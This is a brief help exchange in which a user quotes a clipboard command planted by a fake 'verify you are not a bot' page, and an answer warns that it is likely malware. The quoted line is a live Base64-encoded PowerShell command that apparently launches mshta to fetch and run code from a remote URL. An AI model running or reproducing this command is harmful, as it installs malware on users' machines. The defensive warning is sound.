I encountered a website that asked me to confirm if I was a bot by pressing “Windows + R” and then “Ctrl + V” to paste and run a command. When I checked my clipboard, this is what appeared, even though I wasn’t using Windows:
powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHAAcwA6AC8ALwBiAGkAZAB2AGUAcgB0AGkAcwBlAHIALgBiAC0AYwBkAG4ALgBuAGUAdAAvAHMAbQBhAHIAdAAxACIA==
What does this command do?
The command you’ve shown is a PowerShell command encoded in Base64. Decoding it would likely reveal malicious code. Do not run this command.
It’s highly probable that the website is trying to infect your system with malware. It’s essential to be cautious about executing unknown commands, especially those coming from untrusted sources.
If you’re concerned about your system’s security, consider running a full system scan with your antivirus software.